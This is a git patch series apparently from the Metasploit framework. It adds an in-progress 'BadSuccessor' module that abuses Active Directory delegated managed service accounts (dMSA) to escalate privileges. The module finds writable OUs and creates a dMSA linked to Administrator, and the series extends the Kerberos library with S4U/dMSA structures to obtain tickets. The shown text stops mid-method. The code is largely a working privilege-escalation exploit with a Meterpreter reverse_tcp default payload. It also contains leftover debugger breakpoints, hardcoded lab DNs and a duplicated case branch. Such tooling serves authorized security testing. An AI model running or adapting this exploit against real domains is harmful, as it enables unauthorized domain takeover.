From de49c311b255b38e087d8c0b3e4cc42e3adf7fdf Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Tue, 17 Jun 2025 11:34:05 -0400 Subject: [PATCH 1/9] dMSA account creation working --- modules/auxiliary/admin/ldap/bad_successor.rb | 271 ++++++++++++++++++ 1 file changed, 271 insertions(+) create mode 100644 modules/auxiliary/admin/ldap/bad_successor.rb diff --git a/modules/auxiliary/admin/ldap/bad_successor.rb b/modules/auxiliary/admin/ldap/bad_successor.rb new file mode 100644 index 0000000000000..3b89074e9f869 --- /dev/null +++ b/modules/auxiliary/admin/ldap/bad_successor.rb @@ -0,0 +1,271 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'pry-byebug' + +class MetasploitModule < Msf::Auxiliary + Rank = ExcellentRanking + + include Msf::Exploit::Remote::LDAP + include Rex::Proto::LDAP + include Msf::OptionalSession::LDAP + #include Msf::Exploit::Remote::CheckModule + + # LDAP_SERVER_SD_FLAGS constant definition, taken from https://ldapwiki.com/wiki/LDAP_SERVER_SD_FLAGS_OID + LDAP_SERVER_SD_FLAGS_OID = '1.2.840.113556.1.4.801'.freeze + OWNER_SECURITY_INFORMATION = 0x1 + GROUP_SECURITY_INFORMATION = 0x2 + DACL_SECURITY_INFORMATION = 0x4 + SACL_SECURITY_INFORMATION = 0x8 + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'BadSuccessor: dMSA abuse to Escalate Privileges in Windows Active Directory', + 'Description' => %q{ + BadSuccessor is a local privilege escalation vulnerability that allows an attacker to abuse the dMSA + (Managed Service Account) feature in Active Directory. + + Warning: this is #bad + }, + 'Author' => [ + 'AngelBoy', # discovery + 'Spencer McIntyre', # Help with the Kerberos Bits + 'jheysel-r7' # module + ], + 'References' => [ + [ 'URL', 'https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory?&vid=badsuccessor-demo-video'], + ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Privileged' => true, + 'Arch' => [ ARCH_X64 ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ + ['Windows x64', { 'Arch' => ARCH_X64 }] + ], + 'DefaultOptions' => { + 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => '2024-06-11', + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, ], + 'Reliability' => [ REPEATABLE_SESSION, ] + } + ) + ) + end + + #TODO looks like the check method will be in a separate module - maybe? could be? + + + # This will return a list of SIDs that can edit the template from which the ACL is derived. + # The method checks the CreateChild, GenericAll, WriteDacl and WriteOwner bits of the access_mask to see if the user + # or group has write permissions over the OU + def get_sids_for_write(dacl) + allowed_sids = [] + + dacl[:aces].each do |ace| + access_mask = ace[:body][:access_mask] + + # CreateChild comes from protocol field + mask = access_mask[:protocol] + has_create_child = (mask & 0x1) != 0 + + # Other rights come from explicit bits + has_generic_all = access_mask[:ga] == 1 + has_write_dacl = access_mask[:wd] == 1 + has_write_owner = access_mask[:wo] == 1 + + if has_create_child || has_generic_all || has_write_dacl || has_write_owner + allowed_sids << ace[:body][:sid] + end + end + + allowed_sids + end + + def get_ous_we_can_write_to(user_sid) + required_rights = %w[CreateChild GenericAll WriteDacl WriteOwner] + organizational_units = [] + + filter = '(objectClass=organizationalUnit)' + attributes = ['distinguishedName', 'name', 'objectClass', 'nTSecurityDescriptor'] + entries = query_ldap_server(filter, attributes) + entries.each do |entry| + + security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(entry['nTSecurityDescriptor']&.first) + next unless security_descriptor + + if security_descriptor.dacl + write_sids = get_sids_for_write(security_descriptor.dacl) + end + + next if write_sids.nil? || write_sids.empty? + + # If the user SID is not in the list of SIDs with write permissions, skip this OU + if write_sids.include?(user_sid) + print_status("Found OU with write permissions for user SID #{user_sid}: #{entry.dn}") + organizational_units << entry.dn + else + print_status("Skipping OU #{entry.dn} as it does not have write permissions for user SID #{user_sid}") + next + end + + end + + organizational_units + end + + def query_ldap_server(raw_filter, attributes, base_prefix: nil) + if base_prefix.blank? + full_base_dn = @base_dn.to_s + else + full_base_dn = "#{base_prefix},#{@base_dn}" + end + begin + filter = Net::LDAP::Filter.construct(raw_filter) + rescue StandardError => e + fail_with(Failure::BadConfig, "Could not compile the filter! Error was #{e}") + end + + # Set the value of LDAP_SERVER_SD_FLAGS_OID flag so everything but + # the SACL flag is set, as we need administrative privileges to retrieve + # the SACL from the ntSecurityDescriptor attribute on Windows AD LDAP servers. + + all_but_sacl_flag = OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION + control_values = [all_but_sacl_flag].map(&:to_ber).to_ber_sequence.to_s.to_ber + controls = [] + controls << [LDAP_SERVER_SD_FLAGS_OID.to_ber, true.to_ber, control_values].to_ber_sequence + returned_entries = @ldap.search(base: full_base_dn, filter: filter, attributes: attributes, controls: controls) + query_result_table = @ldap.get_operation_result.table + validate_query_result!(query_result_table, filter) + returned_entries + end + + def create_dmsa(account_name, writeable_dn) + dn = "CN=#{account_name},#{writeable_dn}" + print_status("Attempting to dmsa account cn: #{account_name}, dn: #{dn}") + dmsa_attributes = { + 'objectclass' => ["top", "person", "organizationalPerson", "user", "computer", "msDS-DelegatedManagedServiceAccount"], + 'cn' => [account_name], + 'useraccountcontrol' => ["4096"], + 'samaccountname' => [account_name + '$'], + 'dnshostname' => ["dontcare.com"], + 'msds-supportedencryptiontypes' => ["28"], + 'msds-managedpasswordid' => ["\x01\x00\x00\x00KDSK\x02\x00\x00\x00k\x01\x00\x00\v\x00\x00\x00\a\x00\x00\x00\xC7\x14\x863y\xD1WQ\x8C\x9A4\xCC\xD6;\xF8x\x00\x00\x00\x00\x14\x00\x00\x00\x14\x00\x00\x00m\x00s\x00f\x00.\x00l\x00o\x00c\x00a\x00l\x00\x00\x00m\x00s\x00f\x00.\x00l\x00o\x00c\x00a\x00l\x00\x00\x00"], + 'msds-managedpasswordinterval' => ["30"], + 'msds-delegatedmsastate' => ["2"], + 'msds-managedaccountprecededbylink'=> ["CN=Administrator,CN=Users,DC=msf,DC=local"], + 'name' => [account_name] + } + + unless @ldap.add(dn: dn, attributes: dmsa_attributes) + + res = @ldap.get_operation_result + + case res.code + when Net::LDAP::ResultCodeInsufficientAccessRights + print_error("Insufficient access to create dMSA seed") + when Net::LDAP::ResultCodeEntryAlreadyExists + print_error("Seed object #{account_name} already exists") + when Net::LDAP::ResultCodeConstraintViolation + print_error("Constraint violation: #{res.error_message}") + else + print_error("#{res.message}: #{res.error_message}") + end + + return false + end + + print_good("Created dmsa #{account_name}") + true + + end + + def query_account(account_name) + base_dn = 'OU=BadBois,DC=msf,DC=local' + + filter = Net::LDAP::Filter.eq("cn", account_name) + entry = nil + @ldap.search(base: base_dn, filter: filter) do |e| + entry = e + end + + if entry.nil? + print_error("Original object not found") + exit + end + + attrs_to_copy = {} + entry.each do |attr, values| + + next if %w[distinguishedname dn objectguid objectsid whencreated whenchanged samaccounttype instancetype iscriticalsystemobject objectcategory + usnchanged usncreated name badpwdcount lastlogoff lastlogon localpolicyflags pwdlastset accountexpires + dscorepropagationdata logoncount badpasswordtime countrycode codepage primarygroupid].include?(attr.to_s) + + attrs_to_copy[attr.to_s] = values.map(&:to_s) + end + + attrs_to_copy.each do |key, value| + if value.is_a?(Array) + print_status("#{key} => [#{value.map { |v| v.inspect }.join(', ')}]") + else + print_status("#{key} => #{value.inspect}") + end + end + + end + + def run + ldap_connect do |ldap| + validate_bind_success!(ldap) + if (@base_dn = datastore['BASE_DN']) + print_status("User-specified base DN: #{@base_dn}") + else + print_status('Discovering base DN automatically') + + unless (@base_dn = ldap.base_dn) + fail_with(Failure::NotFound, "Couldn't discover base DN!") + end + end + + @ldap = ldap + + # Run LDAP whoami - get user SID / group info + whoami_response = '' + begin + whoami_response = ldap.ldapwhoami + rescue Net::LDAP::Error => e + print_warning("The module failed to run the ldapwhoami command, ESC4 detection can't continue. Error was: #{e.class}: #{e.message}.") + return + end + + if whoami_response.empty? + print_error("Unable to retrieve the username using ldapwhoami, ESC4 detection can't continue") + return + end + + + sam_account_name = whoami_response.split('\\')[1] + user_raw_filter = "(sAMAccountName=#{sam_account_name})" + attributes = ['DN', 'objectSID', 'objectClass', 'primarygroupID'] + our_account = ldap.search(base: @base_dn, filter: user_raw_filter, attributes: attributes)&.first + + # Get vulnerable OUs + ous = get_ous_we_can_write_to(Rex::Proto::MsDtyp::MsDtypSid.read(our_account[:objectsid].first).value) + writeable_dn = ous.first + + fail_with(Failure::NoTarget, "There are no Organization Units we can write to, the exploit can not continue") if ous.empty? + account_name = Faker::Internet.username(separators: '') + print_good("Found #{ous.length} OUs we can write to") + create_dmsa(account_name, writeable_dn) + query_account(account_name) + end + end +end \ No newline at end of file From 73f8e6fdcf91d46088036ad4749818dbb2ad32fe Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Fri, 4 Jul 2025 22:08:48 -0700 Subject: [PATCH 2/9] recieving valid tgs --- .../Attacking-AD-CS-ESC-Vulnerabilities.md | 2 +- .../remote/kerberos/client/tgs_request.rb | 107 +++++++++++- .../kerberos/service_authenticator/base.rb | 37 ++-- lib/rex/proto/kerberos/crypto.rb | 1 + lib/rex/proto/kerberos/model.rb | 12 ++ .../proto/kerberos/model/dmsa_key_package.rb | 74 ++++++++ .../kerberos/model/pre_auth_data_entry.rb | 7 + .../kerberos/model/pre_auth_s4u_x509_user.rb | 107 ++++++++++++ lib/rex/proto/kerberos/model/s4_user_id.rb | 162 ++++++++++++++++++ .../auxiliary/admin/kerberos/get_ticket.rb | 35 +++- modules/auxiliary/admin/ldap/bad_successor.rb | 131 +++++++++++++- 11 files changed, 650 insertions(+), 25 deletions(-) create mode 100644 lib/rex/proto/kerberos/model/dmsa_key_package.rb create mode 100644 lib/rex/proto/kerberos/model/pre_auth_s4u_x509_user.rb create mode 100644 lib/rex/proto/kerberos/model/s4_user_id.rb diff --git a/docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md b/docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md index 3865e6cf057d3..301422088ab96 100644 --- a/docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md +++ b/docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md @@ -1384,7 +1384,7 @@ Steps for exploiting ESC15 are similar to ESC1 whereby a privileged user such as which adjusts the context in which the issued certificate can be used. These policy OIDs are accepted by the issuing CA if the target certificate template is defined using schema version 1. -In the following example, the Client Authentication OID (1.3.6.1.5.5.7.3.2) is added which enables the certificate to be +In the following example, the Client Authentication OID (1.3.6.1.5.5.7.3.2) is added which enables the certificate to be0 used for authentication to LDAP via SCHANNEL. The operator can then perform LDAP queries with the privileges of the user specified in the alternate UPN. diff --git a/lib/msf/core/exploit/remote/kerberos/client/tgs_request.rb b/lib/msf/core/exploit/remote/kerberos/client/tgs_request.rb index cb2ef7bc6d8c6..105566e781e80 100644 --- a/lib/msf/core/exploit/remote/kerberos/client/tgs_request.rb +++ b/lib/msf/core/exploit/remote/kerberos/client/tgs_request.rb @@ -45,12 +45,10 @@ def build_tgs_request(opts = {}) )) end - checksum = opts.fetch(:checksum) do - - build_tgs_body_checksum(body: body, - session_key: opts[:session_key], - cksum_key_usage: Rex::Proto::Kerberos::Crypto::KeyUsage::TGS_REQ_PA_TGS_REQ_AP_REQ_AUTHENTICATOR_CHKSUM) - end + checksum = opts.fetch(:checksum) + checksum ||= build_tgs_body_checksum(body: body, + session_key: opts[:session_key], + cksum_key_usage: Rex::Proto::Kerberos::Crypto::KeyUsage::TGS_REQ_PA_TGS_REQ_AP_REQ_AUTHENTICATOR_CHKSUM) authenticator = opts.fetch(:authenticator) do build_authenticator(opts.merge( @@ -60,7 +58,6 @@ def build_tgs_request(opts = {}) authenticator_enc_key_usage: Rex::Proto::Kerberos::Crypto::KeyUsage::TGS_REQ_PA_TGS_REQ_AP_REQ_AUTHENTICATOR )) end - ap_req = opts.fetch(:ap_req) { build_ap_req(opts.merge(authenticator: authenticator)) } pa_ap_req = Rex::Proto::Kerberos::Model::PreAuthDataEntry.new( @@ -70,10 +67,42 @@ def build_tgs_request(opts = {}) pa_data = [] pa_data.push(pa_ap_req) + + if opts.fetch(:dmsa) + x509_user = Rex::Proto::Kerberos::Model::PreAuthS4Ux509User.new(opts[:session_key], opts[:impersonate], realm, opts[:nonce], dmsa: true) + + pa_data_x509_user = Rex::Proto::Kerberos::Model::PreAuthDataEntry.new( + type: Rex::Proto::Kerberos::Model::PreAuthType::PA_S4U_X509_USER, + value: x509_user.encode + ) + + pa_data << pa_data_x509_user + + pa_pac_options_flags = Rex::Proto::Kerberos::Model::PreAuthPacOptionsFlags.from_flags( + [ + Rex::Proto::Kerberos::Model::PreAuthPacOptionsFlags::BRANCH_AWARE + ] + ) + + pa_pac_options = Rex::Proto::Kerberos::Model::PreAuthPacOptions.new( + flags: pa_pac_options_flags + ) + + pa_pac = Rex::Proto::Kerberos::Model::PreAuthDataEntry.new( + type: Rex::Proto::Kerberos::Model::PreAuthType::PA_PAC_OPTIONS, + value: pa_pac_options.encode + ) + + pa_data << pa_pac + end + + if opts[:pa_data] opts[:pa_data].each { |pa| pa_data.push(pa) } end + print_tgs_req_debug(body: body, pa_data: pa_data) + request = Rex::Proto::Kerberos::Model::KdcRequest.new( pvno: 5, msg_type: Rex::Proto::Kerberos::Model::TGS_REQ, @@ -84,6 +113,64 @@ def build_tgs_request(opts = {}) request end + def print_tgs_req_debug(body:, pa_data: []) + puts "=== TGS-REQ Debug Output ===" + + puts " PA-DATA:" + Array(pa_data).each_with_index do |pa, idx| + puts " PA-DATA[#{idx}]:" + puts " type: #{pa.type}" + puts " value: #{pa.value.unpack1("H*")}" + end + + puts " kdc-options: #{body.options.value.to_s(16)}" + + if body.cname + puts " cname:" + puts " name-type: #{body.cname.name_type}" + puts " name-string: #{body.cname.name_string.join('/')}" + else + puts " cname: null" + end + + puts " realm: #{body.realm}" + + if body.sname + puts " sname:" + puts " name-type: #{body.sname.name_type}" + puts " name-string: #{body.sname.name_string.join('/')}" + else + puts " sname: null" + end + + puts " from: #{body.from ? body.from.utc.iso8601 : 'null'}" + puts " till: #{body.till ? body.till.utc.iso8601 : 'null'}" + puts " rtime: #{body.rtime ? body.rtime.utc.iso8601 : 'null'}" + + puts " nonce: #{body.nonce || 'null'}" + + etypes = body.etype || [] + puts " etypes: [#{etypes.join(', ')}]" + + if body.respond_to?(:additional_tickets) && body.additional_tickets&.any? + puts " additional-tickets:" + body.additional_tickets.each_with_index do |ticket, i| + encoded = ticket.encode rescue '[error encoding]' + puts " - Ticket[#{i}]: #{Rex::Text.hexify(encoded, '')}" + end + end + + if body.respond_to?(:enc_authorization_data) && body.enc_authorization_data + enc = body.enc_authorization_data + puts " enc-authorization-data:" + puts " etype: #{enc.etype}" + puts " cipher: #{Rex::Text.hexify(enc.cipher)}" + end + + puts "=== End Debug ===" + end + + # Builds the encrypted TGS authorization data # # @param opts [Hash{Symbol => }] @@ -263,6 +350,11 @@ def build_tgs_request_body(opts = {}) additional_tickets: additional_tickets ) + # Do what rubeus does - for now - just debugging + body.etype.add(17) + body.etype.add(24) + body.etype.add(3) + body end @@ -330,7 +422,6 @@ def build_pa_for_user(opts = {}) value: pa_for_user.encode ) end - end end end diff --git a/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb b/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb index 7cad02f524f37..78db0dbfb277a 100644 --- a/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb +++ b/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb @@ -416,6 +416,7 @@ def request_tgs_only(credential, options = {}) def s4u2self(credential, options = {}) realm = self.realm.upcase sname = options.fetch(:sname) + dmsa = options.fetch(:dmsa, nil) client_name = username now = Time.now.utc @@ -430,16 +431,24 @@ def s4u2self(credential, options = {}) etypes = Set.new([credential.keyblock.enctype.value]) etypes << Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC + unless dmsa + pa_data = build_pa_for_user( { + username: options[:impersonate], + session_key: session_key, + realm: realm + } + ) + end + + + tgs_options = { ticket_storage: options.fetch(:ticket_storage, @ticket_storage), credential_cache_username: options[:impersonate], - pa_data: build_pa_for_user( - { - username: options[:impersonate], - session_key: session_key, - realm: realm - } - ) + pa_data: pa_data, + nonce: options[:nonce], + impersonate: options[:impersonate], + dmsa: dmsa } request_service_ticket( @@ -693,10 +702,13 @@ def request_service_ticket(session_key, tgt_ticket, realm, client_name, etypes, etype: etypes, options: ticket_options, + impersonate: options[:impersonate] || nil, + nonce: options[:nonce] || nil, + # Specify nil to ensure the KDC uses the current time for the desired starttime of the requested ticket - from: nil, + from: Time.at(0).utc, till: expiry_time, - rtime: nil, + rtime: Time.at(0).utc, # certificate time ctime: now @@ -708,6 +720,9 @@ def request_service_ticket(session_key, tgt_ticket, realm, client_name, etypes, end tgs_options = { + dmsa: options[:dmsa] || nil, + nonce: options[:nonce] || nil, + impersonate: options[:impersonate] || nil, session_key: session_key, subkey: nil, checksum: nil, @@ -719,7 +734,7 @@ def request_service_ticket(session_key, tgt_ticket, realm, client_name, etypes, body: build_tgs_request_body(**tgs_body_options) } if options[:pa_data].present? - pa_data = [options[:pa_data]] unless options[:pa_data].is_a?(::Enumerable) + pa_data = options[:pa_data].is_a?(::Enumerable) ? options[:pa_data] : [options[:pa_data]] tgs_options[:pa_data] = pa_data end @@ -732,6 +747,8 @@ def request_service_ticket(session_key, tgt_ticket, realm, client_name, etypes, raise ::Rex::Proto::Kerberos::Model::Error::KerberosError.new(res: tgs_res) end + require 'pry-byebug';binding.pry + print_good("#{peer} - Received a valid TGS-Response") ccache = extract_kerb_creds( diff --git a/lib/rex/proto/kerberos/crypto.rb b/lib/rex/proto/kerberos/crypto.rb index 57f30e52e3fcb..5e0bf558d3354 100644 --- a/lib/rex/proto/kerberos/crypto.rb +++ b/lib/rex/proto/kerberos/crypto.rb @@ -32,6 +32,7 @@ module KeyUsage GSS_ACCEPTOR_SIGN = 23 GSS_INITIATOR_SEAL = 24 GSS_INITIATOR_SIGN = 25 + PA_S4U_X509_USER = 26 end module Checksum diff --git a/lib/rex/proto/kerberos/model.rb b/lib/rex/proto/kerberos/model.rb index 8614ccd78a32e..34ce9c0d842d5 100644 --- a/lib/rex/proto/kerberos/model.rb +++ b/lib/rex/proto/kerberos/model.rb @@ -49,6 +49,15 @@ module NameType NT_SRV_XHST = 4 # Unique ID NT_UID = 5 + + NT_ENTERPRISE = 10 + end + + module PaS4uX509UserOptions + CHECK_LOGON_RESTRICTIONS = 0x40000000, + SIGN_REPLY = 0x20000000, + NT_AUTH_POLICY_NOT_REQUIRED = 0x10000000, + UNCONDITIONAL_DELEGATION = 0x08000000 end # See: @@ -65,9 +74,12 @@ module PreAuthType PA_ETYPE_INFO2 = 19 PA_PAC_REQUEST = 128 PA_FOR_USER = 129 + PA_S4U_X509_USER = 130 + KEY_LIST_REP = 162 PA_SUPPORTED_ETYPES = 165 PA_PAC_OPTIONS = 167 KERB_SUPERSEDED_BY_USER = 170 + DMSA_KEY_PACKAGE = 171 end module AuthorizationDataType diff --git a/lib/rex/proto/kerberos/model/dmsa_key_package.rb b/lib/rex/proto/kerberos/model/dmsa_key_package.rb new file mode 100644 index 0000000000000..ad110fe2da915 --- /dev/null +++ b/lib/rex/proto/kerberos/model/dmsa_key_package.rb @@ -0,0 +1,74 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module Model + # This class provides a representation of a Kerberos KERB-DMSA-KEY-PACKAGE + # message as defined in [MS-KILE 2.2.13](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/79170b21-ad15-4a1b-99c4-84b3992d9e70). + class DmsaKeyPackage < Element + attr_accessor :current_keys + attr_accessor :previous_keys + attr_accessor :expiration_interval + attr_accessor :fetch_interval + + def decode(input) + case input + when String + decode_string(input) + when OpenSSL::ASN1::Sequence + decode_asn1(input) + else + raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, 'Failed to decode DmsaKeyPackage, invalid input' + end + + self + end + + def encode + current_keys_asn1 = OpenSSL::ASN1::ASN1Data.new(encode_keys(current_keys), 0, :CONTEXT_SPECIFIC) + previous_keys_asn1 = previous_keys ? OpenSSL::ASN1::ASN1Data.new(encode_keys(previous_keys), 1, :CONTEXT_SPECIFIC) : nil + expiration_interval_asn1 = OpenSSL::ASN1::ASN1Data.new([encode_time(expiration_interval)], 2, :CONTEXT_SPECIFIC) + fetch_interval_asn1 = OpenSSL::ASN1::ASN1Data.new([encode_time(fetch_interval)], 4, :CONTEXT_SPECIFIC) + + seq = OpenSSL::ASN1::Sequence.new([current_keys_asn1, previous_keys_asn1, expiration_interval_asn1, fetch_interval_asn1].compact) + + seq.to_der + end + + private + + def decode_string(input) + asn1 = OpenSSL::ASN1.decode(input) + decode_asn1(asn1) + end + + def decode_asn1(input) + seq_values = input.value + + self.current_keys = decode_keys(seq_values[0]) + self.previous_keys = seq_values[1] ? decode_keys(seq_values[1]) : nil + self.expiration_interval = decode_time(seq_values[2]) + self.fetch_interval = decode_time(seq_values[3]) + end + + def decode_keys(input) + input.value.map { |key| EncryptionKey.decode(key) } + end + + def encode_keys(keys) + keys.map(&:encode) + end + + def decode_time(input) + KerberosTime.decode(input.value[0]) + end + + def encode_time(time) + time.encode + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/kerberos/model/pre_auth_data_entry.rb b/lib/rex/proto/kerberos/model/pre_auth_data_entry.rb index 04ac1a3909d44..fc0e7b000e24a 100644 --- a/lib/rex/proto/kerberos/model/pre_auth_data_entry.rb +++ b/lib/rex/proto/kerberos/model/pre_auth_data_entry.rb @@ -76,9 +76,16 @@ def decoded_value when Rex::Proto::Kerberos::Model::PreAuthType::PA_FOR_USER decoded = OpenSSL::ASN1.decode(self.value) PreAuthForUser.decode(decoded) + when Rex::Proto::Kerberos::Model::PreAuthType::PA_FOR_USER + decoded = OpenSSL::ASN1.decode(self.value) + PreAuthForUser.decode(decoded) when Rex::Proto::Kerberos::Model::PreAuthType::KERB_SUPERSEDED_BY_USER decoded = OpenSSL::ASN1.decode(self.value) KerbSupersededByUser.decode(decoded) + when Rex::Proto::Kerberos::Model::PreAuthType::DMSA_KEY_PACKAGE + require 'pry-byebug';binding.pry + decoded = OpenSSL::ASN1.decode(self.value) + DmsaKeyPackage.decode(decoded) else # Unknown type - just ignore for now end diff --git a/lib/rex/proto/kerberos/model/pre_auth_s4u_x509_user.rb b/lib/rex/proto/kerberos/model/pre_auth_s4u_x509_user.rb new file mode 100644 index 0000000000000..6f7b1a15adcb6 --- /dev/null +++ b/lib/rex/proto/kerberos/model/pre_auth_s4u_x509_user.rb @@ -0,0 +1,107 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module Model + # This class provides a representation of the PA-S4U-X509-USER structure + # as defined in the Kerberos protocol. + class PreAuthS4Ux509User < Element + # @!attribute user_id + # @return [Rex::Proto::Kerberos::Model::S4UUserID] The user ID + attr_accessor :user_id + # @!attribute checksum + # @return [Rex::Proto::Kerberos::Model::Checksum] The checksum + attr_accessor :checksum + + require 'openssl' + + def get_checksum(key, data) + checksum_type = Rex::Proto::Kerberos::Crypto::Checksum::SHA1_AES256 + cksum_key_usage = Rex::Proto::Kerberos::Crypto::KeyUsage::PA_S4U_X509_USER + checksummer = Rex::Proto::Kerberos::Crypto::Checksum::from_checksum_type(checksum_type) + checksummer.checksum(key, cksum_key_usage, data) + end + + # Initializes the PA-S4U-X509-USER structure + # + # @param key [String] The encryption key + # @param impersonate [String] The impersonation principal name + # @param realm [String] The realm + # @param nonce [Integer] The nonce + # @param e_type [Symbol] The encryption type + # @param dmsa [Boolean] Whether the request is for dMSA + def initialize(key, impersonate, realm, nonce, e_type: Rex::Proto::Kerberos::Crypto::Encryption::AES256, dmsa: false) + + # hex_key = "82DA67D0EFF7387F59038E7611EF18C0253797C15B7433F2ADE23418A31370F6" + # impersonate = "attacker_dMSA$" + # realm = "msf.local" + # nonce = 474497095 + # key = [hex_key].pack("H*") + + self.user_id = S4UUserID.new(impersonate, realm, nonce, dmsa: dmsa) + self.checksum = Rex::Proto::Kerberos::Model::Checksum.new(type: Rex::Proto::Kerberos::Crypto::Encryption::DES3_CBC_SHA1, checksum: get_checksum(key.value, user_id.encode)) + + end + + # Encodes the PA-S4U-X509-USER structure into an ASN.1 String + # + # @return [String] + def encode + elems = [] + elems << OpenSSL::ASN1::ASN1Data.new([user_id.encode], 0, :CONTEXT_SPECIFIC) + elems << OpenSSL::ASN1::ASN1Data.new([checksum.encode], 1, :CONTEXT_SPECIFIC) + + seq = OpenSSL::ASN1::Sequence.new(elems) + + seq.to_der + end + + # Decodes the PA-S4U-X509-USER structure from an input + # + # @param input [String, OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [self] if decoding succeeds + # @raise [Rex::Proto::Kerberos::Model::Error::KerberosDecodingError] if decoding doesn't succeed + def decode(input) + case input + when String + decode_string(input) + when OpenSSL::ASN1::ASN1Data + decode_asn1(input) + else + raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, 'Failed to decode PA-S4U-X509-USER, invalid input' + end + + self + end + + # Decodes the PA-S4U-X509-USER structure from a String + # + # @param input [String] the input to decode from + def decode_string(input) + asn1 = OpenSSL::ASN1.decode(input) + decode_asn1(asn1) + end + + # Decodes the PA-S4U-X509-USER structure from an OpenSSL::ASN1::Sequence + # + # @param input [OpenSSL::ASN1::Sequence] the input to decode from + def decode_asn1(input) + seq_values = input.value + + seq_values.each do |val| + case val.tag + when 0 + self.user_id = S4UUserID.decode(val.value[0]) + when 1 + self.checksum = Checksum.new.decode(val.value[0]) + else + raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, 'Failed to decode PA-S4U-X509-USER SEQUENCE' + end + end + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/kerberos/model/s4_user_id.rb b/lib/rex/proto/kerberos/model/s4_user_id.rb new file mode 100644 index 0000000000000..be1fe3d978627 --- /dev/null +++ b/lib/rex/proto/kerberos/model/s4_user_id.rb @@ -0,0 +1,162 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module Model + # This class provides a representation of the S4UUserID structure + # as defined in the Kerberos protocol. + class S4UUserID < Element + # @!attribute nonce + # @return [Integer] The nonce in KDC-REQ-BODY + attr_accessor :nonce + # @!attribute cname + # @return [Rex::Proto::Kerberos::Model::PrincipalName, nil] The principal name (optional) + attr_accessor :cname + # @!attribute crealm + # @return [String] The realm + attr_accessor :crealm + # @!attribute subject_certificate + # @return [String, nil] The subject certificate (optional) + attr_accessor :subject_certificate + # @!attribute options + # @return [String, nil] The options (optional) + attr_accessor :options + + ## + # //S4UUserID::= SEQUENCE { + # // nonce[0] UInt32, --the nonce in KDC - REQ - BODY + # // cname[1] PrincipalName OPTIONAL, + # // --Certificate mapping hints + # // crealm[2] Realm, + # // subject-certificate[3] OCTET STRING OPTIONAL, + # // options[4] BIT STRING OPTIONAL, + # // ... + # //} + + + def initialize(name, realm, nonce, dmsa: false) + self.nonce = nonce + + # Set cname name_type based on dMSA flag + self.cname = Rex::Proto::Kerberos::Model::PrincipalName.new( + name_type: dmsa ? NameType::NT_PRINCIPAL : NameType::NT_ENTERPRISE, + name_string: [name] + ) + self.crealm = realm + + # Default options + self.options = dmsa ? ::Rex::Proto::Kerberos::Model::PaS4uX509UserOptions::UNCONDITIONAL_DELEGATION | ::Rex::Proto::Kerberos::Model::PaS4uX509UserOptions::SIGN_REPLY : ::Rex::Proto::Kerberos::Model::PaS4uX509UserOptions::SIGN_REPLY + end + + # Decodes the S4UUserID from an input + # + # @param input [String, OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [self] if decoding succeeds + # @raise [Rex::Proto::Kerberos::Model::Error::KerberosDecodingError] if decoding doesn't succeed + def decode(input) + case input + when String + decode_string(input) + when OpenSSL::ASN1::ASN1Data + decode_asn1(input) + else + raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, 'Failed to decode S4UUserID, invalid input' + end + + self + end + + # Encodes the S4UUserID into an ASN.1 String + # + # @return [String] + def encode + elems = [] + elems << OpenSSL::ASN1::ASN1Data.new([encode_nonce], 0, :CONTEXT_SPECIFIC) + elems << OpenSSL::ASN1::ASN1Data.new([encode_cname], 1, :CONTEXT_SPECIFIC) if cname + elems << OpenSSL::ASN1::ASN1Data.new([encode_crealm], 2, :CONTEXT_SPECIFIC) + elems << OpenSSL::ASN1::ASN1Data.new([encode_subject_certificate], 3, :CONTEXT_SPECIFIC) if subject_certificate + # Convert options to a byte array + options_bytes = [self.options].pack('N') # Pack as a big-endian unsigned 32-bit integer + elems << OpenSSL::ASN1::ASN1Data.new([OpenSSL::ASN1::BitString.new(options_bytes)], 4, :CONTEXT_SPECIFIC) + + + seq = OpenSSL::ASN1::Sequence.new(elems) + + seq.to_der + end + + private + + # Encodes the nonce attribute + # + # @return [OpenSSL::ASN1::Integer] + def encode_nonce + OpenSSL::ASN1::Integer.new(nonce) + end + + # Encodes the cname attribute + # + # @return [String] + def encode_cname + cname.encode + end + + # Encodes the crealm attribute + # + # @return [OpenSSL::ASN1::GeneralString] + def encode_crealm + OpenSSL::ASN1::GeneralString.new(crealm) + end + + # Encodes the subject_certificate attribute + # + # @return [OpenSSL::ASN1::OctetString] + def 